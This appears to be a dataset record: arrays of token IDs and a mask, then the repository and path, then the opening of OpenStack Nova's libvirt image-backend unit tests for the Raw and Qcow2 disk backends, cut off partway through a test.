365,
488,
26,
288,
327,
13083,
6646,
13,
4625,
503,
298,
11761,
13,
7630,
26,
22180,
2,
1471,
506,
3451,
315,
282,
1056,
543,
282,
2396,
288,
327,
340,
652,
1990,
22180,
12,
2066,
642,
805,
3955,
1172,
440,
2757,
2797,
288,
372,
2125,
267,
291,
423,
2254,
63,
1960,
63,
6958,
342,
267,
3602,
275,
1564,
63,
1267,
446,
291,
14,
3124,
267,
340,
2582,
365,
488,
26,
288,
2582,
275,
3602,
267,
916,
2582,
690,
3602,
26,
288,
2582,
275,
3602,
267,
340,
440,
2582,
26,
288,
372,
2125,
267,
1586,
275,
7002,
8,
1267,
9,
267,
291,
14,
3124,
847,
822,
8,
739,
9,
267,
340,
822,
8,
739,
9,
665,
2582,
26,
288,
340,
334,
1180,
63,
6407,
436,
440,
1586,
14,
4130,
4582,
78,
2237,
503,
440,
675,
63,
6407,
26,
355,
746,
5925,
480,
8953,
1284,
402,
570,
1830,
7664,
1056,
737,
3421,
450,
83,
2,
450,
334,
277,
14,
3124,
4641,
398,
372,
1586,
339,
347,
485,
19955,
63,
739,
8,
277,
12,
2582,
29,
403,
12,
675,
63,
6407,
29,
797,
304,
267,
519,
493,
275,
291,
14,
23830,
267,
291,
423,
2254,
63,
1960,
63,
6958,
342,
398,
340,
2582,
508,
378,
26,
288,
372,
3087,
398,
340,
2582,
665,
378,
26,
288,
2582,
275,
488,
398,
340,
675,
63,
6407,
26,
288,
7002,
275,
291,
14,
23830,
14,
6407,
267,
587,
26,
288,
7002,
275,
291,
14,
23830,
14,
739,
398,
1177,
275,
942,
267,
1830,
291,
14,
4604,
63,
1267,
1137,
378,
26,
288,
1390,
739,
552,
275,
291,
14,
4604,
63,
1267,
446,
291,
14,
3124,
288,
340,
2582,
365,
440,
488,
436,
2582,
665,
1390,
739,
552,
26,
355,
1390,
739,
552,
275,
2582,
953,
340,
1390,
739,
552,
690,
378,
26,
355,
666,
275,
7002,
8,
988,
739,
552,
9,
355,
340
] |
[
1898,
334,
67,
9,
11811,
13,
8664,
12,
21819,
8417,
199,
3,
1898,
334,
67,
9,
8937,
13,
8128,
12,
23386,
8417,
199,
199,
646,
7554,
199,
646,
984,
199,
646,
900,
199,
646,
5190,
199,
646,
6660,
2537,
199,
504,
2197,
492,
2197,
199,
504,
4011,
492,
14342,
199,
199,
504,
23386,
492,
2838,
199,
646,
23386,
199,
504,
23386,
14,
1000,
492,
8271,
3120,
199,
504,
23386,
14,
16560,
492,
32585,
2723,
6699,
421,
199,
363,
452,
363,
275,
788,
16828,
2461,
297,
283,
55,
28732,
418,
421,
199,
4283,
63,
6780,
63,
6174,
275,
28828,
199,
3,
31072,
2977,
436,
5794,
1561,
367,
3101,
1434,
15,
521,
10803,
27,
3544,
20144,
1,
199,
63,
24929,
11655,
2339,
275,
2097,
6671,
401,
298,
52,
310,
401,
298,
55,
379,
401,
298,
2719,
85,
401,
298,
22533,
401,
298,
22332,
401,
298,
22546,
937,
199,
63,
16413,
2339,
275,
359,
403,
12,
221,
327,
9762,
880,
781,
883,
675,
413,
13,
6788,
5794,
5579,
1598,
298,
19825,
401,
298,
27717,
401,
298,
10570,
401,
298,
33,
2700,
401,
298,
15586,
401,
298,
42,
324,
401,
1598,
298,
42,
348,
401,
298,
21640,
401,
298,
23337,
401,
298,
17584,
401,
298,
1944,
86,
401,
298,
8584,
937,
199,
63,
17681,
63,
3170,
63,
6305,
275,
283,
5783,
12624,
7146,
4520,
7,
199,
63,
17681,
63,
3170,
63,
23708,
275,
283,
8405,
7146,
4520,
7,
199,
63,
17681,
63,
3170,
63,
21178,
275,
4274,
2714,
13,
804,
297,
283,
505,
15,
6104,
659,
2574,
661,
3225,
297,
283,
1600,
659,
2574,
661,
2714,
13,
4625,
297,
620,
8,
552,
1547,
17681,
63,
3170,
63,
23708,
1724,
61,
199,
63,
6780,
63,
30947,
63,
12375,
63,
12801,
275,
298,
2856,
15,
17,
14,
17,
841,
1079,
4784,
9022,
22893,
19944,
60,
82,
60,
78,
3225,
26,
4002,
60,
82,
60,
78,
2714,
13,
1267,
26,
378,
60,
82,
60,
78,
60,
82,
60,
78,
2,
199,
63,
9439,
63,
6780,
63,
12801,
275,
298,
2856,
15,
17,
14,
17,
8290,
8857,
4784,
60,
82,
60,
78,
3225,
26,
4002,
60,
82,
60,
78,
2714,
13,
1267,
26,
378,
60,
82,
60,
78,
60,
82,
60,
78,
2,
199,
63,
26663,
4187,
63,
12801,
275,
298,
2856,
15,
17,
14,
17,
2948,
1448,
1781,
60,
82,
60,
78,
60,
82,
60,
78,
2,
421,
199,
318,
1475,
63,
602,
63,
521,
8,
3954,
304,
272,
5361,
12,
5794,
12,
5382,
12,
25783,
12,
8562,
12,
10110,
12,
20792,
12,
485,
89,
12,
485,
90,
275,
900,
14,
22227,
8,
3954,
9,
272,
372,
2071,
83,
12,
450,
996,
68,
450,
19,
83,
450,
20,
68,
450,
996,
68,
2689,
996,
68,
2689,
996,
68,
19152,
2,
450,
6110,
24929,
11655,
2339,
59,
2989,
467,
5382,
12,
485,
16413,
2339,
59,
4482,
467,
5361,
12,
25783,
12,
8562,
12,
10110,
9,
421,
199,
533,
6924,
8,
785,
304,
339,
347,
636,
826,
721,
277,
12,
519,
493,
12,
1564,
63,
1267,
12,
2838,
29,
403,
12,
22180,
63,
1210,
29,
797,
304,
267,
291,
14,
23830,
275,
519,
493,
267,
291,
14,
1317,
63,
1267,
275,
1564,
63,
1267,
267,
291,
14,
3450,
275,
2838,
267,
291,
14,
3124,
275,
378,
267,
291,
14,
19955,
63,
1210,
275,
22180,
63,
1210,
267,
291,
14,
4604,
63,
1267,
275,
446,
17,
339,
347,
485,
14394,
8,
277,
304,
267,
340,
291,
14,
3450,
365,
488,
436,
334,
277,
14,
3124,
665,
334,
277,
14,
1317,
63,
1267,
503,
378,
9,
503,
291,
14,
19955,
63,
1210,
304,
288,
327,
925,
5574,
436,
16895,
2396,
288,
1830,
413,
26,
355,
366,
275,
291,
14,
739,
8,
975,
8188,
9,
355,
340,
440,
366,
26,
490,
2059,
339,
347,
485,
2254,
63,
1960,
63,
6958,
8,
277,
304,
267,
340,
291,
14,
3450,
365,
440,
488,
26,
288,
291,
14,
3450,
14,
22695,
1547,
26663,
4187,
63,
12801,
9,
288,
291,
14,
3450,
275,
488,
339,
347,
485,
1117,
63,
739,
8,
277,
12,
2582,
29,
403,
12,
675,
63,
6407,
29,
797,
304,
267,
340,
675,
63,
6407,
26,
288,
7002,
275,
291,
14,
23830,
14,
6407,
267,
587,
26,
288,
7002,
275,
291,
14,
23830,
14,
739,
267,
1564,
63,
1267,
275,
291,
14,
1317,
63,
1267,
267,
340,
1564,
63,
1267,
365,
488,
26,
288,
327,
13083,
6646,
13,
4625,
503,
298,
11761,
13,
7630,
26,
22180,
2,
1471,
506,
3451,
315,
282,
1056,
543,
282,
2396,
288,
327,
340,
652,
1990,
22180,
12,
2066,
642,
805,
3955,
1172,
440,
2757,
2797,
288,
372,
2125,
267,
291,
423,
2254,
63,
1960,
63,
6958,
342,
267,
3602,
275,
1564,
63,
1267,
446,
291,
14,
3124,
267,
340,
2582,
365,
488,
26,
288,
2582,
275,
3602,
267,
916,
2582,
690,
3602,
26,
288,
2582,
275,
3602,
267,
340,
440,
2582,
26,
288,
372,
2125,
267,
1586,
275,
7002,
8,
1267,
9,
267,
291,
14,
3124,
847,
822,
8,
739,
9,
267,
340,
822,
8,
739,
9,
665,
2582,
26,
288,
340,
334,
1180,
63,
6407,
436,
440,
1586,
14,
4130,
4582,
78,
2237,
503,
440,
675,
63,
6407,
26,
355,
746,
5925,
480,
8953,
1284,
402,
570,
1830,
7664,
1056,
737,
3421,
450,
83,
2,
450,
334,
277,
14,
3124,
4641,
398,
372,
1586,
339,
347,
485,
19955,
63,
739,
8,
277,
12,
2582,
29,
403,
12,
675,
63,
6407,
29,
797,
304,
267,
519,
493,
275,
291,
14,
23830,
267,
291,
423,
2254,
63,
1960,
63,
6958,
342,
398,
340,
2582,
508,
378,
26,
288,
372,
3087,
398,
340,
2582,
665,
378,
26,
288,
2582,
275,
488,
398,
340,
675,
63,
6407,
26,
288,
7002,
275,
291,
14,
23830,
14,
6407,
267,
587,
26,
288,
7002,
275,
291,
14,
23830,
14,
739,
398,
1177,
275,
942,
267,
1830,
291,
14,
4604,
63,
1267,
1137,
378,
26,
288,
1390,
739,
552,
275,
291,
14,
4604,
63,
1267,
446,
291,
14,
3124,
288,
340,
2582,
365,
440,
488,
436,
2582,
665,
1390,
739,
552,
26,
355,
1390,
739,
552,
275,
2582,
953,
340,
1390,
739,
552,
690,
378,
26,
355,
666,
275,
7002,
8,
988,
739,
552,
9,
355,
340,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
NeCTAR-RC/nova
|
nova/tests/unit/virt/libvirt/test_imagebackend.py
|
1
|
76598
|
# Copyright 2012 Grid Dynamics
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
import base64
import inspect
import os
import shutil
import tempfile
import fixtures
import mock
from oslo_concurrency import lockutils
from oslo_config import cfg
from oslo_config import fixture as config_fixture
from oslo_utils import imageutils
from oslo_utils import units
from oslo_utils import uuidutils
from nova import context
from nova import exception
from nova import keymgr
from nova import objects
from nova import test
from nova.tests.unit import fake_processutils
from nova.tests.unit.virt.libvirt import fake_libvirt_utils
from nova.virt.image import model as imgmodel
from nova.virt import images
from nova.virt.libvirt import config as vconfig
from nova.virt.libvirt import imagebackend
from nova.virt.libvirt.storage import rbd_utils
CONF = cfg.CONF
CONF.import_opt('fixed_key', 'nova.keymgr.conf_key_mgr', group='keymgr')
class FakeSecret(object):
def value(self):
return base64.b64decode("MTIzNDU2Cg==")
class FakeConn(object):
def secretLookupByUUIDString(self, uuid):
return FakeSecret()
class _ImageTestCase(object):
def mock_create_image(self, image):
def create_image(fn, base, size, *args, **kwargs):
fn(target=base, *args, **kwargs)
image.create_image = create_image
def setUp(self):
super(_ImageTestCase, self).setUp()
self.fixture = self.useFixture(config_fixture.Config(lockutils.CONF))
self.INSTANCES_PATH = tempfile.mkdtemp(suffix='instances')
self.fixture.config(disable_process_locking=True,
group='oslo_concurrency')
self.flags(instances_path=self.INSTANCES_PATH)
self.INSTANCE = objects.Instance(id=1, uuid=uuidutils.generate_uuid())
self.DISK_INFO_PATH = os.path.join(self.INSTANCES_PATH,
self.INSTANCE['uuid'], 'disk.info')
self.NAME = 'fake.vm'
self.TEMPLATE = 'template'
self.CONTEXT = context.get_admin_context()
self.OLD_STYLE_INSTANCE_PATH = \
fake_libvirt_utils.get_instance_path(self.INSTANCE, forceold=True)
self.PATH = os.path.join(
fake_libvirt_utils.get_instance_path(self.INSTANCE), self.NAME)
# TODO(mikal): rename template_dir to base_dir and template_path
# to cached_image_path. This will be less confusing.
self.TEMPLATE_DIR = os.path.join(CONF.instances_path, '_base')
self.TEMPLATE_PATH = os.path.join(self.TEMPLATE_DIR, 'template')
self.useFixture(fixtures.MonkeyPatch(
'nova.virt.libvirt.imagebackend.libvirt_utils',
fake_libvirt_utils))
def tearDown(self):
super(_ImageTestCase, self).tearDown()
shutil.rmtree(self.INSTANCES_PATH)
def test_prealloc_image(self):
CONF.set_override('preallocate_images', 'space')
fake_processutils.fake_execute_clear_log()
fake_processutils.stub_out_processutils_execute(self.stubs)
image = self.image_class(self.INSTANCE, self.NAME)
def fake_fetch(target, *args, **kwargs):
return
self.stubs.Set(image, 'get_disk_size', lambda _: self.SIZE)
self.stub_out('os.path.exists', lambda _: True)
self.stub_out('os.access', lambda p, w: True)
# Call twice to verify testing fallocate is only called once.
image.cache(fake_fetch, self.TEMPLATE_PATH, self.SIZE)
image.cache(fake_fetch, self.TEMPLATE_PATH, self.SIZE)
self.assertEqual(fake_processutils.fake_execute_get_log(),
['fallocate -l 1 %s.fallocate_test' % self.PATH,
'fallocate -n -l %s %s' % (self.SIZE, self.PATH),
'fallocate -n -l %s %s' % (self.SIZE, self.PATH)])
def test_prealloc_image_without_write_access(self):
CONF.set_override('preallocate_images', 'space')
fake_processutils.fake_execute_clear_log()
fake_processutils.stub_out_processutils_execute(self.stubs)
image = self.image_class(self.INSTANCE, self.NAME)
def fake_fetch(target, *args, **kwargs):
return
self.stubs.Set(image, 'check_image_exists', lambda: True)
self.stubs.Set(image, '_can_fallocate', lambda: True)
self.stubs.Set(image, 'get_disk_size', lambda _: self.SIZE)
self.stub_out('os.path.exists', lambda _: True)
self.stub_out('os.access', lambda p, w: False)
# Testing fallocate is only called when user has write access.
image.cache(fake_fetch, self.TEMPLATE_PATH, self.SIZE)
self.assertEqual(fake_processutils.fake_execute_get_log(), [])
def test_libvirt_fs_info(self):
image = self.image_class(self.INSTANCE, self.NAME)
fs = image.libvirt_fs_info("/mnt")
# check that exception hasn't been raised and the method
# returned correct object
self.assertIsInstance(fs, vconfig.LibvirtConfigGuestFilesys)
self.assertEqual(fs.target_dir, "/mnt")
if image.is_block_dev:
self.assertEqual(fs.source_type, "block")
self.assertEqual(fs.source_dev, image.path)
else:
self.assertEqual(fs.source_type, "file")
self.assertEqual(fs.source_file, image.path)
def test_libvirt_info(self):
image = self.image_class(self.INSTANCE, self.NAME)
extra_specs = {
'quota:disk_read_bytes_sec': 10 * units.Mi,
'quota:disk_read_iops_sec': 1 * units.Ki,
'quota:disk_write_bytes_sec': 20 * units.Mi,
'quota:disk_write_iops_sec': 2 * units.Ki,
'quota:disk_total_bytes_sec': 30 * units.Mi,
'quota:disk_total_iops_sec': 3 * units.Ki,
}
disk = image.libvirt_info(disk_bus="virtio",
disk_dev="/dev/vda",
device_type="cdrom",
cache_mode="none",
extra_specs=extra_specs,
hypervisor_version=4004001)
self.assertIsInstance(disk, vconfig.LibvirtConfigGuestDisk)
self.assertEqual("/dev/vda", disk.target_dev)
self.assertEqual("virtio", disk.target_bus)
self.assertEqual("none", disk.driver_cache)
self.assertEqual("cdrom", disk.source_device)
self.assertEqual(10 * units.Mi, disk.disk_read_bytes_sec)
self.assertEqual(1 * units.Ki, disk.disk_read_iops_sec)
self.assertEqual(20 * units.Mi, disk.disk_write_bytes_sec)
self.assertEqual(2 * units.Ki, disk.disk_write_iops_sec)
self.assertEqual(30 * units.Mi, disk.disk_total_bytes_sec)
self.assertEqual(3 * units.Ki, disk.disk_total_iops_sec)
@mock.patch('nova.virt.disk.api.get_disk_size')
def test_get_disk_size(self, get_disk_size):
get_disk_size.return_value = 2361393152
image = self.image_class(self.INSTANCE, self.NAME)
self.assertEqual(2361393152, image.get_disk_size(image.path))
get_disk_size.assert_called_once_with(image.path)
class RawTestCase(_ImageTestCase, test.NoDBTestCase):
SIZE = 1024
def setUp(self):
self.image_class = imagebackend.Raw
super(RawTestCase, self).setUp()
self.stubs.Set(imagebackend.Raw, 'correct_format', lambda _: None)
def prepare_mocks(self):
fn = self.mox.CreateMockAnything()
self.mox.StubOutWithMock(imagebackend.utils.synchronized,
'__call__')
self.mox.StubOutWithMock(imagebackend.libvirt_utils, 'copy_image')
self.mox.StubOutWithMock(imagebackend.disk, 'extend')
return fn
def test_cache(self):
self.mox.StubOutWithMock(os.path, 'exists')
if self.OLD_STYLE_INSTANCE_PATH:
os.path.exists(self.OLD_STYLE_INSTANCE_PATH).AndReturn(False)
os.path.exists(self.TEMPLATE_DIR).AndReturn(False)
os.path.exists(self.PATH).AndReturn(False)
os.path.exists(self.TEMPLATE_PATH).AndReturn(False)
fn = self.mox.CreateMockAnything()
fn(target=self.TEMPLATE_PATH)
self.mox.StubOutWithMock(imagebackend.fileutils, 'ensure_tree')
imagebackend.fileutils.ensure_tree(self.TEMPLATE_DIR)
self.mox.ReplayAll()
image = self.image_class(self.INSTANCE, self.NAME)
self.mock_create_image(image)
image.cache(fn, self.TEMPLATE)
self.mox.VerifyAll()
def test_cache_image_exists(self):
self.mox.StubOutWithMock(os.path, 'exists')
if self.OLD_STYLE_INSTANCE_PATH:
os.path.exists(self.OLD_STYLE_INSTANCE_PATH).AndReturn(False)
os.path.exists(self.TEMPLATE_DIR).AndReturn(True)
os.path.exists(self.PATH).AndReturn(True)
os.path.exists(self.TEMPLATE_PATH).AndReturn(True)
self.mox.ReplayAll()
image = self.image_class(self.INSTANCE, self.NAME)
image.cache(None, self.TEMPLATE)
self.mox.VerifyAll()
def test_cache_base_dir_exists(self):
self.mox.StubOutWithMock(os.path, 'exists')
if self.OLD_STYLE_INSTANCE_PATH:
os.path.exists(self.OLD_STYLE_INSTANCE_PATH).AndReturn(False)
os.path.exists(self.TEMPLATE_DIR).AndReturn(True)
os.path.exists(self.PATH).AndReturn(False)
os.path.exists(self.TEMPLATE_PATH).AndReturn(False)
fn = self.mox.CreateMockAnything()
fn(target=self.TEMPLATE_PATH)
self.mox.StubOutWithMock(imagebackend.fileutils, 'ensure_tree')
self.mox.ReplayAll()
image = self.image_class(self.INSTANCE, self.NAME)
self.mock_create_image(image)
image.cache(fn, self.TEMPLATE)
self.mox.VerifyAll()
def test_cache_template_exists(self):
self.mox.StubOutWithMock(os.path, 'exists')
if self.OLD_STYLE_INSTANCE_PATH:
os.path.exists(self.OLD_STYLE_INSTANCE_PATH).AndReturn(False)
os.path.exists(self.TEMPLATE_DIR).AndReturn(True)
os.path.exists(self.PATH).AndReturn(False)
os.path.exists(self.TEMPLATE_PATH).AndReturn(True)
self.mox.ReplayAll()
image = self.image_class(self.INSTANCE, self.NAME)
self.mock_create_image(image)
image.cache(None, self.TEMPLATE)
self.mox.VerifyAll()
@mock.patch('os.path.exists')
def test_cache_generating_resize(self, mock_path_exists):
# Test for bug 1608934
# The Raw backend doesn't write to the image cache when creating a
# non-image backend. Test that we don't try to get the disk size of
# a non-existent backend.
base_dir = os.path.join(CONF.instances_path,
CONF.image_cache_subdirectory_name)
# Lets assume the base image cache directory already exists
existing = set([base_dir])
def fake_exists(path):
# Return True only for files previously created during
# execution. This allows us to test that we're not calling
# get_disk_size() on something which hasn't been previously
# created.
return path in existing
def fake_get_disk_size(path):
# get_disk_size will explode if called on a path which doesn't
# exist. Specific exception not important for this test.
if path not in existing:
raise AssertionError
# Not important, won't actually be called by patched code.
return 2 * units.Gi
def fake_template(target=None, **kwargs):
# The template function we pass to cache. Calling this will
# cause target to be created.
existing.add(target)
mock_path_exists.side_effect = fake_exists
image = self.image_class(self.INSTANCE, self.NAME)
# We're not testing preallocation
image.preallocate = False
with test.nested(
mock.patch.object(image, 'check_image_exists'),
mock.patch.object(image, 'correct_format'),
mock.patch.object(image, 'get_disk_size'),
mock.patch.object(image, 'resize_image')
) as (
mock_disk_exists, mock_correct_format, mock_get_disk_size,
mock_resize_image
):
# Assume the disk doesn't already exist
mock_disk_exists.return_value = False
# This won't actually be executed since change I46b5658e,
# but this is how the unpatched code will fail. We include this
# here as a belt-and-braces sentinel.
mock_get_disk_size.side_effect = fake_get_disk_size
# Try to create a 2G image
image.cache(fake_template, 'fake_cache_name', 2 * units.Gi)
# The real assertion is that the above call to cache() didn't
# raise AssertionError which, if we get here, it clearly didn't.
self.assertFalse(image.resize_image.called)
def test_create_image(self):
fn = self.prepare_mocks()
fn(target=self.TEMPLATE_PATH, max_size=None, image_id=None)
imagebackend.libvirt_utils.copy_image(self.TEMPLATE_PATH, self.PATH)
self.mox.ReplayAll()
image = self.image_class(self.INSTANCE, self.NAME)
image.create_image(fn, self.TEMPLATE_PATH, None, image_id=None)
self.mox.VerifyAll()
def test_create_image_generated(self):
fn = self.prepare_mocks()
fn(target=self.PATH)
self.mox.ReplayAll()
image = self.image_class(self.INSTANCE, self.NAME)
image.create_image(fn, self.TEMPLATE_PATH, None)
self.mox.VerifyAll()
@mock.patch.object(images, 'qemu_img_info',
return_value=imageutils.QemuImgInfo())
def test_create_image_extend(self, fake_qemu_img_info):
fn = self.prepare_mocks()
fn(max_size=self.SIZE, target=self.TEMPLATE_PATH, image_id=None)
imagebackend.libvirt_utils.copy_image(self.TEMPLATE_PATH, self.PATH)
image = imgmodel.LocalFileImage(self.PATH, imgmodel.FORMAT_RAW)
imagebackend.disk.extend(image, self.SIZE)
self.mox.ReplayAll()
image = self.image_class(self.INSTANCE, self.NAME)
image.create_image(fn, self.TEMPLATE_PATH, self.SIZE, image_id=None)
self.mox.VerifyAll()
def test_correct_format(self):
self.stubs.UnsetAll()
self.mox.StubOutWithMock(os.path, 'exists')
self.mox.StubOutWithMock(imagebackend.images, 'qemu_img_info')
os.path.exists(self.PATH).AndReturn(True)
os.path.exists(self.DISK_INFO_PATH).AndReturn(False)
info = self.mox.CreateMockAnything()
info.file_format = 'foo'
imagebackend.images.qemu_img_info(self.PATH).AndReturn(info)
os.path.exists(CONF.instances_path).AndReturn(True)
self.mox.ReplayAll()
image = self.image_class(self.INSTANCE, self.NAME, path=self.PATH)
self.assertEqual(image.driver_format, 'foo')
self.mox.VerifyAll()
@mock.patch.object(images, 'qemu_img_info',
side_effect=exception.InvalidDiskInfo(
reason='invalid path'))
def test_resolve_driver_format(self, fake_qemu_img_info):
image = self.image_class(self.INSTANCE, self.NAME)
driver_format = image.resolve_driver_format()
self.assertEqual(driver_format, 'raw')
def test_get_model(self):
image = self.image_class(self.INSTANCE, self.NAME)
model = image.get_model(FakeConn())
self.assertEqual(imgmodel.LocalFileImage(self.PATH,
imgmodel.FORMAT_RAW),
model)
class Qcow2TestCase(_ImageTestCase, test.NoDBTestCase):
SIZE = units.Gi
def setUp(self):
self.image_class = imagebackend.Qcow2
super(Qcow2TestCase, self).setUp()
self.QCOW2_BASE = (self.TEMPLATE_PATH +
'_%d' % (self.SIZE / units.Gi))
def prepare_mocks(self):
fn = self.mox.CreateMockAnything()
self.mox.StubOutWithMock(imagebackend.utils.synchronized,
'__call__')
self.mox.StubOutWithMock(imagebackend.libvirt_utils,
'create_cow_image')
self.mox.StubOutWithMock(imagebackend.libvirt_utils, 'copy_image')
self.mox.StubOutWithMock(imagebackend.disk, 'extend')
return fn
def test_cache(self):
self.mox.StubOutWithMock(os.path, 'exists')
if self.OLD_STYLE_INSTANCE_PATH:
os.path.exists(self.OLD_STYLE_INSTANCE_PATH).AndReturn(False)
os.path.exists(self.DISK_INFO_PATH).AndReturn(False)
os.path.exists(CONF.instances_path).AndReturn(True)
os.path.exists(self.TEMPLATE_DIR).AndReturn(False)
os.path.exists(self.INSTANCES_PATH).AndReturn(True)
os.path.exists(self.PATH).AndReturn(False)
os.path.exists(self.TEMPLATE_PATH).AndReturn(False)
fn = self.mox.CreateMockAnything()
fn(target=self.TEMPLATE_PATH)
self.mox.ReplayAll()
image = self.image_class(self.INSTANCE, self.NAME)
self.mock_create_image(image)
image.cache(fn, self.TEMPLATE)
self.mox.VerifyAll()
def test_cache_image_exists(self):
self.mox.StubOutWithMock(os.path, 'exists')
if self.OLD_STYLE_INSTANCE_PATH:
os.path.exists(self.OLD_STYLE_INSTANCE_PATH).AndReturn(False)
os.path.exists(self.DISK_INFO_PATH).AndReturn(False)
os.path.exists(self.INSTANCES_PATH).AndReturn(True)
os.path.exists(self.TEMPLATE_DIR).AndReturn(True)
os.path.exists(self.PATH).AndReturn(True)
os.path.exists(self.TEMPLATE_PATH).AndReturn(True)
self.mox.ReplayAll()
image = self.image_class(self.INSTANCE, self.NAME)
image.cache(None, self.TEMPLATE)
self.mox.VerifyAll()
def test_cache_base_dir_exists(self):
self.mox.StubOutWithMock(os.path, 'exists')
if self.OLD_STYLE_INSTANCE_PATH:
os.path.exists(self.OLD_STYLE_INSTANCE_PATH).AndReturn(False)
os.path.exists(self.DISK_INFO_PATH).AndReturn(False)
os.path.exists(self.INSTANCES_PATH).AndReturn(True)
os.path.exists(self.TEMPLATE_DIR).AndReturn(True)
os.path.exists(self.PATH).AndReturn(False)
os.path.exists(self.TEMPLATE_PATH).AndReturn(False)
fn = self.mox.CreateMockAnything()
fn(target=self.TEMPLATE_PATH)
self.mox.ReplayAll()
image = self.image_class(self.INSTANCE, self.NAME)
self.mock_create_image(image)
image.cache(fn, self.TEMPLATE)
self.mox.VerifyAll()
def test_cache_template_exists(self):
self.mox.StubOutWithMock(os.path, 'exists')
if self.OLD_STYLE_INSTANCE_PATH:
os.path.exists(self.OLD_STYLE_INSTANCE_PATH).AndReturn(False)
os.path.exists(self.DISK_INFO_PATH).AndReturn(False)
os.path.exists(self.INSTANCES_PATH).AndReturn(True)
os.path.exists(self.TEMPLATE_DIR).AndReturn(True)
os.path.exists(self.PATH).AndReturn(False)
os.path.exists(self.TEMPLATE_PATH).AndReturn(True)
self.mox.ReplayAll()
image = self.image_class(self.INSTANCE, self.NAME)
self.mock_create_image(image)
image.cache(None, self.TEMPLATE)
self.mox.VerifyAll()
def test_create_image(self):
fn = self.prepare_mocks()
fn(max_size=None, target=self.TEMPLATE_PATH)
imagebackend.libvirt_utils.create_cow_image(self.TEMPLATE_PATH,
self.PATH)
self.mox.ReplayAll()
image = self.image_class(self.INSTANCE, self.NAME)
image.create_image(fn, self.TEMPLATE_PATH, None)
self.mox.VerifyAll()
def test_create_image_with_size(self):
fn = self.prepare_mocks()
fn(max_size=self.SIZE, target=self.TEMPLATE_PATH)
self.mox.StubOutWithMock(os.path, 'exists')
self.mox.StubOutWithMock(imagebackend.Image,
'verify_base_size')
if self.OLD_STYLE_INSTANCE_PATH:
os.path.exists(self.OLD_STYLE_INSTANCE_PATH).AndReturn(False)
os.path.exists(self.DISK_INFO_PATH).AndReturn(False)
os.path.exists(self.INSTANCES_PATH).AndReturn(True)
os.path.exists(self.TEMPLATE_PATH).AndReturn(False)
os.path.exists(self.PATH).AndReturn(False)
os.path.exists(self.PATH).AndReturn(False)
imagebackend.Image.verify_base_size(self.TEMPLATE_PATH, self.SIZE)
imagebackend.libvirt_utils.create_cow_image(self.TEMPLATE_PATH,
self.PATH)
image = imgmodel.LocalFileImage(self.PATH, imgmodel.FORMAT_QCOW2)
imagebackend.disk.extend(image, self.SIZE)
self.mox.ReplayAll()
image = self.image_class(self.INSTANCE, self.NAME)
image.create_image(fn, self.TEMPLATE_PATH, self.SIZE)
self.mox.VerifyAll()
def test_create_image_too_small(self):
fn = self.prepare_mocks()
self.mox.StubOutWithMock(os.path, 'exists')
self.mox.StubOutWithMock(imagebackend.Qcow2, 'get_disk_size')
if self.OLD_STYLE_INSTANCE_PATH:
os.path.exists(self.OLD_STYLE_INSTANCE_PATH).AndReturn(False)
os.path.exists(self.DISK_INFO_PATH).AndReturn(False)
os.path.exists(self.INSTANCES_PATH).AndReturn(True)
os.path.exists(self.TEMPLATE_PATH).AndReturn(True)
imagebackend.Qcow2.get_disk_size(self.TEMPLATE_PATH
).AndReturn(self.SIZE)
self.mox.ReplayAll()
image = self.image_class(self.INSTANCE, self.NAME)
self.assertRaises(exception.FlavorDiskSmallerThanImage,
image.create_image, fn, self.TEMPLATE_PATH, 1)
self.mox.VerifyAll()
def test_generate_resized_backing_files(self):
fn = self.prepare_mocks()
fn(max_size=self.SIZE, target=self.TEMPLATE_PATH)
self.mox.StubOutWithMock(os.path, 'exists')
self.mox.StubOutWithMock(imagebackend.libvirt_utils,
'get_disk_backing_file')
self.mox.StubOutWithMock(imagebackend.Image,
'verify_base_size')
if self.OLD_STYLE_INSTANCE_PATH:
os.path.exists(self.OLD_STYLE_INSTANCE_PATH).AndReturn(False)
os.path.exists(self.DISK_INFO_PATH).AndReturn(False)
os.path.exists(CONF.instances_path).AndReturn(True)
os.path.exists(self.TEMPLATE_PATH).AndReturn(False)
